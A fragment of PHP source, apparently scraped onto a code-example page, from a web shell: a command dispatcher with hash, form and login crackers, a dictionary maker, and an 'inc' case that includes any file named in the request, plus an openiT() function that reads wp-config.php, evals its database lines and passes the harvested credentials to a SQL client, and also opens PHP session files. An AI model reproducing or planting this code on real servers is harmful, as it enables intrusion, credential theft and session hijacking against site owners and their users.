openiT($_REQUEST['namE']);
     break;
 case 'cr':
     crackeR();
     break;
 case 'dic':
     dicmakeR();
     break;
 case 'tools':
     toolS();
     break;
 case 'hex':
     hexvieW();
     break;
 case 'img':
     showimagE($_REQUEST['filE']);
     break;
 case 'inc':
     if (file_exists($_REQUEST['filE'])) {
         include $_REQUEST['filE'];
     }
     break;
 case 'hc':
     hashcrackeR();
     break;
 case 'fcr':
     formcrackeR();
     break;
 case 'auth':
     authcrackeR();
     break;
Example #2
0
function openiT($name)
{
    global $Resource_Dir, $cwd;
    if (!is_readable($name)) {
        echo "File is not readable!";
        return null;
    }
    #TODO: Add more configs
    switch ($name) {
        case 'wp-config.php':
            $config = file($name);
            foreach ($config as $line) {
                if (strstr($line, "define('DB_")) {
                    eval($line);
                }
            }
            $_REQUEST['serveR'] = DB_HOST;
            $_REQUEST['useR'] = DB_USER;
            $_REQUEST['pasS'] = DB_PASSWORD;
            $_REQUEST['dB'] = DB_NAME;
            $_REQUEST['typE'] = 'MySQL';
            sqlclienT();
            return null;
            break;
        default:
            break;
    }
    echo "<b><i>" . htmlspecialchars($name) . ":</i></b><br /><br />";
    $ext = strtolower(end(explode('.', $name)));
    $src = array('php', 'php3', 'php4', 'phps', 'phtml', 'phtm', 'inc');
    $img = array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'tif', 'ico');
    $swf = array('swf');
    $snd = array('mp3', 'wav', 'ogg');
    $vid = array('webm', 'mp4', 'ogv');
    if (in_array($ext, $src)) {
        highlight_file($name);
    } elseif (in_array($ext, $swf)) {
        openswF($name);
    } elseif (in_array($ext, $snd)) {
        echo '<audio src="' . hlinK("workingdiR={$cwd}&downloaD={$name}") . '" controls></audio>';
    } elseif (in_array($ext, $vid)) {
        echo '<video src="' . hlinK("workingdiR={$cwd}&downloaD={$name}") . '" width="320" height="240" controls></video>';
    } elseif (in_array($ext, $img)) {
        showimagE($name);
        return null;
    } elseif (substr($name, 0, 5) == 'sess_') {
        opensesS($name);
    } else {
        echo '<font color=#FA0><pre>' . htmlspecialchars(file_get_contents($name)) . '</pre></font>';
    }
    echo '<br /><a href="javascript:history.go(-1)"><img src="' . $Resource_Dir . 'images/back.png" border="0" /><b>Back</b></a>';
}